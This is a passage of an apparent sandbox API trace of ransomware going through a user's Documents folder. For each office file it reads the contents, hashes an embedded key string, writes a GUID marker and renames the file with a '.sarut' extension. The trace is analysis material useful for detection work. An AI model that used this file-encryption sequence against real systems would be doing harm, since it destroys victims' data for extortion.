lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x502126e0, ftCreationTime.dwHighDateTime=0x1d4d27a, ftLastAccessTime.dwLowDateTime=0xeda0f580, ftLastAccessTime.dwHighDateTime=0x1d4cb09, ftLastWriteTime.dwLowDateTime=0xeda0f580, ftLastWriteTime.dwHighDateTime=0x1d4cb09, nFileSizeHigh=0x0, nFileSizeLow=0x6a12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w6EPq2zN2ah.ppt", cAlternateFileName="W6EPQ2~1.PPT")) returned 1 [0268.815] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w6EPq2zN2ah.ppt") returned=".ppt" [0268.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w6EPq2zN2ah.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w6epq2zn2ah.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.817] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=27154) returned 1 [0268.817] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.819] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x69ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.819] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.820] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6a12, lpOverlapped=0x0) returned 1 [0268.821] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.821] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.821] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.821] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.822] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.822] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.822] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.822] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.822] GetLastError () returned 0x0 [0268.822] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.822] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.823] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6a12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.823] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.823] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.823] CloseHandle (hObject=0x5c4) returned 1 [0268.824] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w6EPq2zN2ah.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w6epq2zn2ah.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w6EPq2zN2ah.ppt.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w6epq2zn2ah.ppt.sarut")) returned 1 [0268.825] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x256ecbe0, ftCreationTime.dwHighDateTime=0x1d4c5ce, ftLastAccessTime.dwLowDateTime=0x6451590, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0x6451590, ftLastWriteTime.dwHighDateTime=0x1d4ccfd, nFileSizeHigh=0x0, nFileSizeLow=0xbcb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W6IMk7.doc", cAlternateFileName="")) returned 1 [0268.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W6IMk7.doc") returned=".doc" [0268.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W6IMk7.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w6imk7.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.829] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=48308) returned 1 [0268.829] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.830] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbc8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.830] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.832] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xbcb4, lpOverlapped=0x0) returned 1 [0268.833] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.833] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.833] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.833] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.834] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.834] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.834] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.834] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.834] GetLastError () returned 0x0 [0268.834] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.834] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.835] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.835] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.835] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.835] CloseHandle (hObject=0x5c4) returned 1 [0268.840] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W6IMk7.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w6imk7.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W6IMk7.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w6imk7.doc.sarut")) returned 1 [0268.842] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6d970, ftCreationTime.dwHighDateTime=0x1d4a91d, ftLastAccessTime.dwLowDateTime=0x8ca0fbd0, ftLastAccessTime.dwHighDateTime=0x1d4c718, ftLastWriteTime.dwLowDateTime=0x8ca0fbd0, ftLastWriteTime.dwHighDateTime=0x1d4c718, nFileSizeHigh=0x0, nFileSizeLow=0x17942, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WBp8E7tRnFvGA7kM1v.docx", cAlternateFileName="WBP8E7~1.DOC")) returned 1 [0268.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBp8E7tRnFvGA7kM1v.docx") returned=".docx" [0268.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBp8E7tRnFvGA7kM1v.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbp8e7trnfvga7km1v.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.843] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=96578) returned 1 [0268.843] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.844] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1791c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.844] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.846] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x17942, lpOverlapped=0x0) returned 1 [0268.847] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.847] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.847] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.847] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.848] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.848] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.848] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.848] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.848] GetLastError () returned 0x0 [0268.848] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.848] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.849] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17942, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.849] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.849] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.849] CloseHandle (hObject=0x5c4) returned 1 [0268.852] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBp8E7tRnFvGA7kM1v.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbp8e7trnfvga7km1v.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBp8E7tRnFvGA7kM1v.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbp8e7trnfvga7km1v.docx.sarut")) returned 1 [0268.854] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75970dd0, ftCreationTime.dwHighDateTime=0x1d4d50a, ftLastAccessTime.dwLowDateTime=0x9eb56b60, ftLastAccessTime.dwHighDateTime=0x1d4cf2b, ftLastWriteTime.dwLowDateTime=0x9eb56b60, ftLastWriteTime.dwHighDateTime=0x1d4cf2b, nFileSizeHigh=0x0, nFileSizeLow=0xcdb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xDyNG4Bi0L.pptx", cAlternateFileName="XDYNG4~1.PPT")) returned 1 [0268.854] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xDyNG4Bi0L.pptx") returned=".pptx" [0268.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xDyNG4Bi0L.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xdyng4bi0l.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.857] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=52658) returned 1 [0268.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.859] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcd8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.859] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.861] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xcdb2, lpOverlapped=0x0) returned 1 [0268.861] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.861] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.861] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.862] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.862] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.863] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.863] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.863] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.863] GetLastError () returned 0x0 [0268.863] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.863] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.863] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcdb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.863] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.863] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.864] CloseHandle (hObject=0x5c4) returned 1 [0268.868] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xDyNG4Bi0L.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xdyng4bi0l.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xDyNG4Bi0L.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xdyng4bi0l.pptx.sarut")) returned 1 [0268.870] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfad7bd0, ftCreationTime.dwHighDateTime=0x1d4c87a, ftLastAccessTime.dwLowDateTime=0x15228cd0, ftLastAccessTime.dwHighDateTime=0x1d4ca2a, ftLastWriteTime.dwLowDateTime=0x15228cd0, ftLastWriteTime.dwHighDateTime=0x1d4ca2a, nFileSizeHigh=0x0, nFileSizeLow=0xef5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XXACe99aeIe9AwdxB.doc", cAlternateFileName="XXACE9~1.DOC")) returned 1 [0268.870] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXACe99aeIe9AwdxB.doc") returned=".doc" [0268.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXACe99aeIe9AwdxB.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xxace99aeie9awdxb.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.870] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=61274) returned 1 [0268.870] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.872] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xef34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.872] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.873] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xef5a, lpOverlapped=0x0) returned 1 [0268.874] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.874] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.874] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.874] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.875] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.875] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.875] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.875] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.875] GetLastError () returned 0x0 [0268.876] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.876] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.876] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xef5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.876] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.876] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.876] CloseHandle (hObject=0x5c4) returned 1 [0268.880] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXACe99aeIe9AwdxB.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xxace99aeie9awdxb.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXACe99aeIe9AwdxB.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xxace99aeie9awdxb.doc.sarut")) returned 1 [0268.889] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1557afb0, ftCreationTime.dwHighDateTime=0x1d4cf92, ftLastAccessTime.dwLowDateTime=0x881b3470, ftLastAccessTime.dwHighDateTime=0x1d4c58a, ftLastWriteTime.dwLowDateTime=0x881b3470, ftLastWriteTime.dwHighDateTime=0x1d4c58a, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_JLH3OA.odt", cAlternateFileName="")) returned 1 [0268.889] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_JLH3OA.odt") returned=".odt" [0268.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_JLH3OA.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_jlh3oa.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.890] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=42392) returned 1 [0268.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.891] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa572, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.891] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.892] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xa598, lpOverlapped=0x0) returned 1 [0268.893] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.893] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.893] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.893] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.894] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.894] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.894] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.895] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.895] GetLastError () returned 0x0 [0268.895] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.895] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.895] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa598, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.895] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.895] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.895] CloseHandle (hObject=0x5c4) returned 1 [0268.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_JLH3OA.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_jlh3oa.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_JLH3OA.odt.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_jlh3oa.odt.sarut")) returned 1 [0268.902] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1557afb0, ftCreationTime.dwHighDateTime=0x1d4cf92, ftLastAccessTime.dwLowDateTime=0x881b3470, ftLastAccessTime.dwHighDateTime=0x1d4c58a, ftLastWriteTime.dwLowDateTime=0x881b3470, ftLastWriteTime.dwHighDateTime=0x1d4c58a, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_JLH3OA.odt", cAlternateFileName="")) returned 0 [0268.902] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0268.902] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0268.902] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 